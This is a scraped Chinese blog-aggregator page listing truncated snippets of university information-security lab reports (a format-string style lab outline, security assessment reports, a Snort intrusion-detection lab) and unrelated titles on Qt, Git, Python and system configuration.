    目录 1.0 概述 2.0 实验任务 2.1 task1 易受攻击程序 2.2 task2 理解堆栈的布局 2.3 task3崩溃程序 2.4 task4 打印出服务器程序的内存 2.5 task5 ...

  5. 计算机系统结构安全检测,信息安全体系结构安全测评实验报告.doc

    信息安全体系结构安全测评实验报告 华中科技大学计算机学院 <信息安全体系结构与安全测评>实验报告 姓 名: 李琳 学 号: U201014681 专业班级: 信息安全1003班 指导教师: ...

  6. 计算机网络信息安全的实验报告,网络安全实验报告.doc

    网络安全实验报告 本科实验课程报告 (2016至2017学年第1学期) 课程名称: 网络信息安全 专业名称: 行政班级: 学 号: 姓 名: 指导教师: 赵学民 报告时间: 年 月 日 实验大纲 一. ...

  7. 华中农业大学信息管理与信息系统【信息安全与保密】实验报告

    信息安全与保密试验报告 1.实验目的 本次实验使用Xcode作为开发工具,swift作为主要开发语言,简单编写应用页面,对信息安全与解密课程中的加密与解密进行具体直观地呈现,将理论和实践结合起来巩固强 ...

  8. 吉林大学软件学院软构件与中间件JavaEE实验

    javaeeTest 注意事项:使用前核对实验题目是否一致. 实验1 题目1 (必做)搭建Java EE开发环境. 题目2(必做) 用户注册登录功能模块的实现. 搭建Java EE开发环境 安装Tom ...

  9. 网络信息安全_网络攻防实验_snort+BASE入侵检测系统_snort规则_ICMP/TCP攻击

    网络攻防实验 一.实验环境 二.实验步骤 1.搭建 snort+BASE 入侵检测系统 1.1 安装snort 1.2 安装Barnyard2 1.3 安装 PulledPork 1.4 创建服务 1 ...

最新文章

  1. 在Qt4中使用QPersistentModelIndex传递QModelIndex
  2. 通信信号处理中为什么要分为I、Q两路
  3. px word 表格宽度_word怎样批量修改表格的宽度(2)
  4. 深度工作:充分使用每一份脑力
  5. 图像目标分割_6 Mask RCNN
  6. exfat单元分配要设置多少_微软宣布,支持往Linux内核里添加exFAT存储了!跨系统存储的福音...
  7. infinitescroll php,WordPress: 增加无限分页(Infinite Scroll)功能
  8. php ajax 懒加载demo,lazyload懒加载,怎么支持ajax获得的新内容?
  9. 解决jsp页面乱码问题
  10. git base cli
  11. 混淆的艺术-(苍井空变凤姐)Proguard源码分析(一)前言和计划
  12. 【开发环境准备】更新板载ESP8285固件
  13. 运筹说 第32期 | 对偶理论与灵敏度分析—灵敏度分析
  14. 已知url地址,批量下载图片到指定目录
  15. ROS学习笔记-用脚本发布cmd_vel话题
  16. 华硕ASUS 笔记本 改WIN7 BIOS 设置详解
  17. 各种线上推广手段的投入产出比数字公布
  18. 网页版连连看(JS jQuery)
  19. English Learning - L2 语音作业打卡 辅音舌齿龈音 [t] [d] Day24 2023.3.16 周四
  20. html内边距居中,HTML中详述外边距样式属性(margin)与内边距样式属性(padding)...

热门文章

  1. 上学歌计算机音乐数字乐谱,儿童歌曲上学歌简谱
  2. win7系统怎么调计算机,分辨率,教您Win7如何调电脑的分辨率
  3. 阿里云centOS安装图形界面
  4. 2021漳州一中历年高考成绩查询,2021年漳州中考录取分数线,历年漳州各高中录取分数线排名...
  5. 高斯勒让德(Gauss-legendre)求解多重积分(python,数值积分)
  6. 【Python学习笔记】6:用Gauss-Legendre求积公式近似求积分值
  7. Anaconda下载simpleITK包和pytorch包
  8. zblog忘记后台密码怎么办 官方解决方案
  9. Android源码文件夹结构
  10. 2022数学建模国赛B题思路分析